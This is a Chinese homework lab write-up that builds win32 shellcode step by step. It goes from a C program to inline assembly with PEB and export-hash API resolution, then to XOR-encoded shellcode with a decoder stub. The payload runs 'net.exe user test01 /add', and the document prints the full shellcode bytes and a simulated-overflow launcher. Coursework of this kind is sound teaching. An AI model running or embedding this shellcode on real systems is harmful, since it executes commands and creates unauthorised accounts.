win32-shellcode-homework

win32-shellcode-homework

0x00

​ 实验要求：

image-20221130152310644

​ 首先仿照doCommandLine.cpp，写一个能运行net.exe user test01 /add的C程序。

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// doCommandLine_xcl.cpp
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"

void doCommandLine(char * szCmdLine)
{
    BOOL ret;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    si.wShowWindow=TRUE;
    si.dwFlags=STARTF_USESHOWWINDOW;
    ret=CreateProcessA(
        NULL,
        szCmdLine,
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &si,
        &pi
    );
    ExitProcess(ret);  // 用这个较稳妥，否则shellcode会出错
}
void main(int argc, char* argv[])
{
    doCommandLine("net.exe user test01 /add");
}

​ cl doCommandLine_xcl.cpp & doCommandLine_xcl.exe编译运行，之后net user发现命令执行成功。

image-20221130153808419

​ 之后执行net.exe user test01 /DELETE，方便后续实验。

0x01

​ 之后，使用汇编语言实现相同的功能。主要是将do32CommandAsm.cpp中的：

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push    00657865h   ;
push    2e646170h   ;
push    65746f6eh   ; "notepad.exe"

​ 改为：

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push    00000000h   ;
push    6464612fh   ;
push    20313074h   ;
push    73657420h   ;
push    72657375h   ;
push    20657865h   ;
push    2e74656eh   ; "net.exe user test01 /add"

​ 完整代码如下

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// do32CommandAsm_xcl.cpp
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"

#define EIGHT_NOPS __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_BEGIN  EIGHT_NOPS
#define PROC_END    EIGHT_NOPS
void doCommandLineAsm()
{
    __asm{
            PROC_BEGIN;     // Begin of the code
            push    00000000h   ;
            push    6464612fh   ;
            push    20313074h   ;
            push    73657420h   ;
            push    72657375h   ;
            push    20657865h   ;
            push    2e74656eh   ; "net.exe user test01 /add"
            mov     edi, esp    ; edi="net.exe user test01 /add"
            push    0xff0d6657  ; //hash("CloseHandle")=0xff0d6657
            push    0x4fd18963  ; //hash("ExitProcess")=0x4fd18963
            push    0x6ba6bcc9  ; //hash(CreateProcessA)=0x6ba6bcc9
            pop     edx;        ; //edx=GetHash("CreateProcessA");
            call    findHashFuncAddrProc;   // eax=address of function
            mov     esi,eax;    ;// esi=CreateProcessA
            pop     edx;        ;// edx=GetHash("ExitProcess");
            call    findHashFuncAddrProc;   // eax=address of function
            mov     ebx,eax;    ;// ebx=CloseHandle
            call    doCommandProc;          // eax
            jmp     end_of_this_function;    // finish all job. 
   
      	doCommandProc:
            push    ecx;
            push    edx;
            push    esi;
            push    edi;
            push    ebp;
            mov     ebp,esp;
            mov     edx,edi;    //edx=szCmdLine
            sub     esp, 54h;
            mov     edi, esp;
            push    14h;
            pop     ecx;
            xor     eax,eax;
            stack_zero:
            mov     [edi+ecx*4], eax;
            loop    stack_zero;
            mov     byte ptr [edi+10h], 44h; si.cb = sizeof(si)
            lea     eax, [edi+10h]
            push    edi;    //push    piPtr;
            push    eax;    //push    siPtr;
            push    NULL;
            push    NULL;
            push    0;
            push    FALSE;
            push    NULL;
            push    NULL;
            push    edx;    //edx=szCmdLine
            push    NULL;
            call    esi;    //eax=return value;ptrCreateProcessA;
            cmp     eax,0;
            je     donot_closehandle;
            push    eax;
            call    ebx;    //ExitProcess;

        donot_closehandle:
            mov     esp,ebp;
            pop     ebp;
            pop     edi;
            pop     esi;
            pop     edx;
            pop     ecx;
            retn;
        findHashFuncAddrProc:
            push    esi;
            push    ebx;
            push    ecx;
            push    edx;
            call    get_base_address;
            cmp     eax,0;     // the base address is 0, done.
            jle     end_of_findHashFuncAddrProc; if ecx <=0 done.
            mov     ebx,eax;   // save the base to ebx;
            call    get_function_addr;
        end_of_findHashFuncAddrProc:
            pop     edx;
            pop     ecx;
            pop     ebx;
            pop     esi;
            retn;

        get_base_address:
            mov     eax, fs:30h     ; PEB base
            mov     eax, [eax+0ch]  ; PEB_LER_DATA
            mov     eax,[eax+1ch]   ; The first element of InInitOrderModuleList
            mov     eax,[eax]       ; Next element
            mov     eax,[eax+8]     ; eax = Base address of the module
            retn;

        get_function_addr:
            mov     eax,[ebx+3ch]       ; e_lfanew
            mov     eax,[eax+ebx+78h]   ; DataDirectory[0]
            add     eax,ebx             ; RVA + base
            mov     esi,eax             ; Save first DataDirectory to esi
            mov     ecx,[esi+18h]       ; NumberOfNames
        compare_names_hash:
            mov     eax, [esi+20h]      ; AddressOfNames RVA
            add     eax, ebx            ; rva2va
            mov     eax, [eax+ecx*4-4]  ; NamesAddress RVA
            add     eax, ebx            ; rva2va, now eax store the address of the name

            push    edi                     ; save edi to stack
            mov     edi,eax                 ; put the address of the string to edi
            call    hash_proc;              ; gethash
            pop     edi                     ; restor edi from stack

            cmp     eax,edx;                ; compare to hash;
            je      done_find_hash;
            loop compare_names_hash;
            xor     eax,eax;
            jmp     done_get_function_addr;
        done_find_hash:
            mov     eax, [esi+1ch]      ; AddressOfFunctions RVA
            add     eax, ebx            ; rva2va
            mov     eax, [eax+ecx*4-4]  ; FunctionAddress RVA
            add     eax, ebx            ; rva2va, now eax store the address of the Function
        done_get_function_addr:
            retn;

        hash_proc:
            // save ebx,ecx,edx,edi
            push    ebx         ;
            push    ecx         ;
            push    edx         ;
            push    edi         ;
            xor     edx,edx     ; edx = h
        hash_loop:              
            movsx   eax,byte ptr [edi]  ; [eax]=*c ==> eax
            cmp     eax,0       ;
            je  exit_hash_proc  ;
            mov     ebx,edx     ;  h ==> ebx
            mov     ecx,edx     ;  h ==> ecx
            shl     ebx,19h     ; h << 25
            shr     ecx,7       ; h >> 7
            or      ebx,ecx     ; ((h << 25) | (h >> 7))
            mov     edx,ebx     ;
            add     edx,eax     ;
            inc     edi;        ;
            jmp hash_loop       ;
        exit_hash_proc:         
            mov     eax,edx     ; save hash to eax
            // restore ebx,ecx,edx,edi
            pop     edi         ;
            pop     edx         ;
            pop     ecx         ;
            pop     ebx         ;
            retn                ;
        end_of_this_function:
            PROC_END;   // End of the code
    };
}

void main(int argc, char * argv[])
{
    doCommandLineAsm();
}

​ 编译运行cl /Zi do32CommandAsm_xcl.cpp & do32CommandAsm_xcl.exe，之后net user查看：

image-20221130161002161

​ 运行成功！

​ 之后执行net.exe user test01 /DELETE，方便后续实验。

0x02

​ 将上述汇编语言的shellcode转成真正的shellcode。

​ 修改GetShellcode.cpp中的doCommandLineAsm函数，按0x01所示更改相应的汇编代码。（完整的GetShellcode_xcl.cpp放到0x03节中。）

​ 输入：cl \Zi GetShellcode_xcl.cpp & GetShellcode_xcl.exe输出为：

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// 原始的shellcode
/* 281=0x119 bytes */
"\x6a\x00\x68\x2f\x61\x64\x64\x68\x74\x30\x31\x20\x68\x20\x74\x65"
"\x73\x68\x75\x73\x65\x72\x68\x65\x78\x65\x20\x68\x6e\x65\x74\x2e"
"\x8b\xfc\x68\x57\x66\x0d\xff\x68\x63\x89\xd1\x4f\x68\xc9\xbc\xa6"
"\x6b\x5a\xe8\x56\x00\x00\x00\x8b\xf0\x5a\xe8\x4e\x00\x00\x00\x8b"
"\xd8\xe8\x05\x00\x00\x00\xe9\xce\x00\x00\x00\x51\x52\x56\x57\x55"
"\x8b\xec\x8b\xd7\x83\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0\x89\x04"
"\x8f\xe2\xfb\xc6\x47\x10\x44\x8d\x47\x10\x57\x50\x6a\x00\x6a\x00"
"\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x52\x6a\x00\xff\xd6\x83\xf8\x00"
"\x74\x03\x50\xff\xd3\x8b\xe5\x5d\x5f\x5e\x5a\x59\xc3\x56\x53\x51"
"\x52\xe8\x11\x00\x00\x00\x83\xf8\x00\x7e\x07\x8b\xd8\xe8\x17\x00"
"\x00\x00\x5a\x59\x5b\x5e\xc3\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c"
"\x8b\x40\x1c\x8b\x00\x8b\x40\x08\xc3\x8b\x43\x3c\x8b\x44\x18\x78"
"\x03\xc3\x8b\xf0\x8b\x4e\x18\x8b\x46\x20\x03\xc3\x8b\x44\x88\xfc"
"\x03\xc3\x57\x8b\xf8\xe8\x17\x00\x00\x00\x5f\x3b\xc2\x74\x06\xe2"
"\xe6\x33\xc0\xeb\x0b\x8b\x46\x1c\x03\xc3\x8b\x44\x88\xfc\x03\xc3"
"\xc3\x53\x51\x52\x57\x33\xd2\x0f\xbe\x07\x83\xf8\x00\x74\x13\x8b"
"\xda\x8b\xca\xc1\xe3\x19\xc1\xe9\x07\x0b\xd9\x8b\xd3\x03\xd0\x47"
"\xeb\xe5\x8b\xc2\x5f\x5a\x59\x5b\xc3";
XorByte=0xfe
// 对shellcode异或，去掉\x00字节。
/* 281=0x119 bytes */
"\x94\xfe\x96\xd1\x9f\x9a\x9a\x96\x8a\xce\xcf\xde\x96\xde\x8a\x9b"
"\x8d\x96\x8b\x8d\x9b\x8c\x96\x9b\x86\x9b\xde\x96\x90\x9b\x8a\xd0"
"\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d\x77\x2f\xb1\x96\x37\x42\x58"
"\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e\xa4\x16\xb0\xfe\xfe\xfe\x75"
"\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe\xfe\xaf\xac\xa8\xa9\xab"
"\x75\x12\x75\x29\x7d\x12\xaa\x75\x02\x94\xea\xa7\xcd\x3e\x77\xfa"
"\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9\xee\xa9\xae\x94\xfe\x94\xfe"
"\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94\xfe\x01\x28\x7d\x06\xfe"
"\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1\xa0\xa4\xa7\x3d\xa8\xad\xaf"
"\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80\xf9\x75\x26\x16\xe9\xfe"
"\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f\xce\xfe\xfe\xfe\x75\xbe\xf2"
"\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x75\xbd\xc2\x75\xba\xe6\x86"
"\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8\xde\xfd\x3d\x75\xba\x76\x02"
"\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe\xfe\xa1\xc5\x3c\x8a\xf8\x1c"
"\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd\x3d\x75\xba\x76\x02\xfd\x3d"
"\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xf9\x7d\x06\xfe\x8a\xed\x75"
"\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9\xf5\x27\x75\x2d\xfd\x2e\xb9"
"\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d";
Success: encode is OK
length of shellcode = 304 = 0x130
// 将解码程序放到shellcode里面，生成一个实用的shellcode
/* 304=0x130 bytes */
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\x19\x01\x80\x34\x0b\xfe\xe2"
"\xfa\xc3\xe8\xeb\xff\xff\xff\x94\xfe\x96\xd1\x9f\x9a\x9a\x96\x8a"
"\xce\xcf\xde\x96\xde\x8a\x9b\x8d\x96\x8b\x8d\x9b\x8c\x96\x9b\x86"
"\x9b\xde\x96\x90\x9b\x8a\xd0\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d"
"\x77\x2f\xb1\x96\x37\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e"
"\xa4\x16\xb0\xfe\xfe\xfe\x75\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe"
"\xfe\xfe\xaf\xac\xa8\xa9\xab\x75\x12\x75\x29\x7d\x12\xaa\x75\x02"
"\x94\xea\xa7\xcd\x3e\x77\xfa\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9"
"\xee\xa9\xae\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac"
"\x94\xfe\x01\x28\x7d\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1"
"\xa0\xa4\xa7\x3d\xa8\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe"
"\x80\xf9\x75\x26\x16\xe9\xfe\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f"
"\xce\xfe\xfe\xfe\x75\xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d"
"\x75\xbd\xc2\x75\xba\xe6\x86\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8"
"\xde\xfd\x3d\x75\xba\x76\x02\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe"
"\xfe\xa1\xc5\x3c\x8a\xf8\x1c\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd"
"\x3d\x75\xba\x76\x02\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40"
"\xf9\x7d\x06\xfe\x8a\xed\x75\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9"
"\xf5\x27\x75\x2d\xfd\x2e\xb9\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d"

​ 截图如下所示：

image-20221130162143338

​ 可以看到，运行完GetShellcode_xcl.exe后，直接运行net user，发现已经添加成功。

0x03

​ 完整的GetShellcode_xcl.cpp代码：

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#include "stdio.h"
#include "stdlib.h"
#include "windows.h"
#define MAX_OPCODE_LEN  0x2000

//  模拟缓冲区溢出漏洞，并用shellcode进行攻击. Do not use ((void (*)())code)();
void doShellcode(char * code)
{
    __asm
    {
    begin_proc:
        call    vul_function;    // call vulnerabile function
        jmp     code;   // do the shellcode
        jmp     end_proc;
      vul_function:
        ret;    // now, the buffer is overflow, and ret to the shellcode
    end_proc:;
    }
}

char decode1[] =
"\xeb\x0e\x5b\x53\x4b\x33\xc9\xb1\xff"
"\x80\x34\x0b\xee\xe2\xfa\xc3\xe8\xed\xff\xff\xff";
char decode2[] =
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\xdd\xff"
"\x80\x34\x0b\xee\xe2\xfa\xc3\xe8\xeb\xff\xff\xff";

#define EIGHT_NOPS __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90
#define PROC_BEGIN  EIGHT_NOPS
#define PROC_END    EIGHT_NOPS

unsigned long doCommandLineAsm()
//  hash(CreateProcessA)=0x6ba6bcc9
//  Addr=0x7C823E8F	hash=0xff0d6657	name=CloseHandle
//  0185: 	Addr=0x7C826919	hash=0x4fd18963	name=ExitProcess
{
    long lMyAddress;
    __asm
    {
        	jmp near  next_call;
        proc001:
	    	ret;
        next_call:
      		call    proc001;
        	mov     eax,[esp-4];//获得这条指令的地址
        	mov     lMyAddress,eax;
    }	//  lMyAddress=指令mov eax,[esp-4];的地址
    return lMyAddress;

    __asm{
    	PROC_BEGIN;     // Begin of the code
            push    00000000h   ;
            push    6464612fh   ;
            push    20313074h   ;
            push    73657420h   ;
            push    72657375h   ;
            push    20657865h   ;
            push    2e74656eh   ; "net.exe user test01 /add"
            mov     edi, esp    ; edi="net.exe user test01 /add"
            push    0xff0d6657  ; //hash("CloseHandle")=0xff0d6657
            push    0x4fd18963  ; //hash("ExitProcess")=0x4fd18963
            push    0x6ba6bcc9  ; //hash(CreateProcessA)=0x6ba6bcc9

            // Begin: Get the process address for call+++++++++++++++++
            pop     edx;        ; //edx=GetHash("CreateProcessA");
            call    findHashFuncAddrProc;   // eax=address of function
            //mov     lFunctionPtr,eax;       // store address to lFunctionPtr
            mov     esi,eax;    ;// esi=CreateProcessA
            pop     edx;        ;// edx=GetHash("ExitProcess");
            //  call some functions to do the job.
            call    findHashFuncAddrProc;   // eax=address of function
            //mov     lFunctionPtr,eax;     // store address to lFunctionPtr
            mov     ebx,eax;    ;// ebx=CloseHandle
            // End: Get the process address for call ----------------
            call    doCommandProc;          // eax

            jmp     end_of_this_function;    // finish all job. 
   
        // Define some sub processes here.  ===========================================
        // begin of doCommandProc    =====================================
        // in: edi=szCmdLine, esi=procAddr. out: eax=return value, result of call
    	doCommandProc:
            push    ecx;
            push    edx;
            push    esi;
            push    edi;
            push    ebp;
            mov     ebp,esp;

            mov     edx,edi;    //edx=szCmdLine
            sub     esp, 54h;
            mov     edi, esp;
            push    14h;
            pop     ecx;
            xor     eax,eax;
            stack_zero:
            mov     [edi+ecx*4], eax;
            loop    stack_zero;
            mov     byte ptr [edi+10h], 44h; si.cb = sizeof(si)


            lea     eax, [edi+10h]
            push    edi;    //push    piPtr;
            push    eax;    //push    siPtr;
            push    NULL;
            push    NULL;
            push    0;
            push    FALSE;
            push    NULL;
            push    NULL;
            push    edx;    //edx=szCmdLine
            push    NULL;
            call    esi;    //eax=return value;ptrCreateProcessA;
            cmp     eax,0;
            je     donot_closehandle;
            push    eax;
            call    ebx;    //ExitProcess;
      	donot_closehandle:
            mov     esp,ebp;
            pop     ebp;
            pop     edi;
            pop     esi;
            pop     edx;
            pop     ecx;
            retn;
        // end of doCommandProc  ==================================
        // begin of findHashFuncAddrProc    ==============================
        // in: ecx = DLL nIndex, edx=lHash. out: eax=return value
        findHashFuncAddrProc:
            push    esi;
            push    ebx;
            push    ecx;
            push    edx;
            call    get_base_address;
            cmp     eax,0   ;   // the base address is 0, done.
            jle     end_of_findHashFuncAddrProc; if ecx <=0 done.
            mov     ebx,eax ;   // save the base to ebx;
            call    get_function_addr;
        end_of_findHashFuncAddrProc:
            pop     edx;
            pop     ecx;
            pop     ebx;
            pop     esi;
            retn;
        // end of findHashFuncAddrProc  ==================================
        // begin of get_base_address    ==================================
        // get_base_address: put the DLL nIndex to ecx. eax=return value
        get_base_address:
            mov     eax, fs:30h     ; PEB base
            mov     eax, [eax+0ch]  ; PEB_LER_DATA
            // base of first element
            mov     eax,[eax+1ch]  ; The first element of InInitOrderModuleList
            mov     eax,[eax]       ; Next element
            mov     eax,[eax+8]     ; eax = Base address of the module
            retn;
        // end of get_base_address  ======================================
        // begin of get_function_addr    =================================
        // get_function_addr, in: ebx=base, edx=hash(name); out:eax=return value
        get_function_addr:
            // get the addrs of first function =========
            mov     eax,[ebx+3ch]       ; e_lfanew
            mov     eax,[eax+ebx+78h]   ; DataDirectory[0]
            add     eax,ebx             ; RVA + base
            mov     esi,eax             ; Save first DataDirectory to esi
            mov     ecx,[esi+18h]       ; NumberOfNames
        compare_names_hash:
            mov     eax, [esi+20h]      ; AddressOfNames RVA
            add     eax, ebx            ; rva2va
            mov     eax, [eax+ecx*4-4]  ; NamesAddress RVA
            add     eax, ebx            ; rva2va, now eax store the address of the name

            push    edi                     ; save edi to stack
            mov     edi,eax                 ; put the address of the string to edi
            call    hash_proc;              ; gethash
            pop     edi                     ; restor edi from stack
        
            cmp     eax,edx;                ; compare to hash;
            je      done_find_hash;

        loop compare_names_hash;
            xor     eax,eax;
            jmp     done_get_function_addr;
        done_find_hash:
            mov     eax, [esi+1ch]          ; AddressOfFunctions RVA
            add     eax, ebx                ; rva2va
            mov     eax, [eax+ecx*4-4]      ; FunctionAddress RVA
            add     eax, ebx       ; rva2va, now eax store the address of the Function
        done_get_function_addr:
            retn;
    	// end of get_function_addr ======================================
     
        // begin of hash_process    ======================================
        //hash_proc: you should put the address of the string to edi
        //when ret, the hash value stores in eax
        hash_proc:
            // save ebx,ecx,edx,edi
            push    ebx         ;
            push    ecx         ;
            push    edx         ;
            push    edi         ;
            xor     edx,edx     ; edx = h
        hash_loop:              ;
            movsx   eax,byte ptr [edi]  ; [eax]=*c ==> eax
            cmp     eax,0       ;
            je  exit_hash_proc  ;
            mov     ebx,edx     ;  h ==> ebx
            mov     ecx,edx     ;  h ==> ecx
            shl     ebx,19h     ; h << 25
            shr     ecx,7       ; h >> 7
            or      ebx,ecx     ; (h << 25) | (h >> 7)
            mov     edx,ebx     ;
            add     edx,eax     ;
            inc     edi;        ;
            jmp hash_loop       ;
        exit_hash_proc:         ;
            mov     eax,edx     ; save hash to eax
            // restore ebx,ecx,edx,edi
            pop     edi         ;
            pop     edx         ;
            pop     ecx         ;
            pop     ebx         ;
            retn                ;
        // end of hash_process    ========================================
        end_of_this_function:
            PROC_END;   // End of the code
    };
    return lMyAddress;
}

void PrintStrCode(unsigned char *lpBuff, int buffsize)
{
    int i,j;    
    char *p;    
    char msg[4];
    printf("/* %d=0x%x bytes */\n",buffsize,buffsize);
    for(i=0;i<buffsize;i++)
    {
        if((i%16)==0)
            if(i!=0)
                printf("\"\n\"");
            else
                printf("\"");
        printf("\\x%.2x",lpBuff[i]&0xff);
    }
    printf("\";\n");
}
int EncOpcode(unsigned char * Opcode_buff, int opcode_len, unsigned char xorByte)
//  in: Opcode_buff,opcode_len,xorByte; 
//  out: encoded Opcode_buff
{
    int i;
    if(xorByte==0){
        puts("The xorByte cannot be zero."); return 0;
    }
    for(i=0;i<opcode_len;i++){
        Opcode_buff[i]=Opcode_buff[i]^xorByte;
    }
    Opcode_buff[opcode_len]=0;
    return opcode_len;
}
int GetProcOpcode(unsigned char * funPtr, unsigned char  * Opcode_buff)
//  in: funPtr; out: "return value=length of Opcode_buff" and Opcode_buff
{
    char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    int i,sh_len;
    for (i=0;i<MAX_OPCODE_LEN;i++ ) {
        if(memcmp((unsigned char  *)(funPtr+i),fnbgn_str, 8)==0) break;
    }
    funPtr+=(i+8);   // start of the ShellCode
    for (i=0;i<MAX_OPCODE_LEN;i++) {
        if(memcmp((unsigned char  *)(funPtr+i),fnend_str, 8)==0) break;
    }
    sh_len=i; // length of the ShellCode
    memcpy(Opcode_buff, (unsigned char  *)funPtr, sh_len);
    return sh_len;
}

unsigned char findXorByte(unsigned char Buff[], int buf_len)
{
    unsigned char xorByte=0;
    int i,j,k;
    for(i=0xff; i>0; i--)
    {
        k=0;
        for(j=0;j<buf_len;j++)
        {
            if((Buff[j]^i)==0)
            {
                k++;break;
            }
        }
        if(k==0)
        {//find the xor byte
            xorByte=i; break;
        }
    }
    return xorByte;
}

long GetShellcode()
{
    unsigned char  opcode_Buff[MAX_OPCODE_LEN];
    char shellcode[MAX_OPCODE_LEN];
    int opcode_len=0,encode_len,i,decode_len;
    unsigned char Enc_key;
    unsigned long lPtr;
    // 获得原始的二进制代码
    lPtr = doCommandLineAsm() ;
    opcode_len=GetProcOpcode((unsigned char *)lPtr, opcode_Buff);
    PrintStrCode(opcode_Buff, opcode_len);
    //doShellcode((char *)opcode_Buff);
    //return 0;
    // 找到XOR字节并编码shellcode
    Enc_key = findXorByte(opcode_Buff, opcode_len);
    printf("\tXorByte=0x%.2x\n", Enc_key);
    encode_len=EncOpcode(opcode_Buff, opcode_len, Enc_key);
    PrintStrCode(opcode_Buff, opcode_len);
    if(encode_len==strlen((char *)opcode_Buff)){
        puts("\tSuccess: encode is OK\n");
    }else{ puts("\tFail: encode is OK\n"); return 0;}
    //return 0;
    // 加上解码程序
    if(encode_len<256){// strlen(opcode_Buff)<256，用decode1解码
        decode_len = strlen(decode1);

        for(i=0;i<decode_len;i++){
            shellcode[i]=decode1[i];
        }
        shellcode[8]=encode_len;
        shellcode[12]=Enc_key;

        for(i=0;i<encode_len;i++){
            shellcode[i+decode_len]=opcode_Buff[i];
        }
    }else{// strlen(opcode_Buff)>=256，用decode2解码
        decode_len = strlen(decode2);

        for(i=0;i<decode_len;i++){
            shellcode[i]=decode2[i];
        }
        shellcode[9] =encode_len % 0x100;
        shellcode[10]=encode_len/0x100;
        shellcode[14]=Enc_key;

        for(i=0;i<encode_len;i++){
            shellcode[i+decode_len]=opcode_Buff[i];
        }
    }

    printf("\n\nlength of shellcode = %d = 0x%x\n",strlen(shellcode),strlen(shellcode));
    PrintStrCode((unsigned char*)shellcode, strlen(shellcode));
    
    doShellcode(shellcode);

    return lPtr;
}
void main(int argc, char * argv[])
{
    GetShellcode();
}

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2022-11-30

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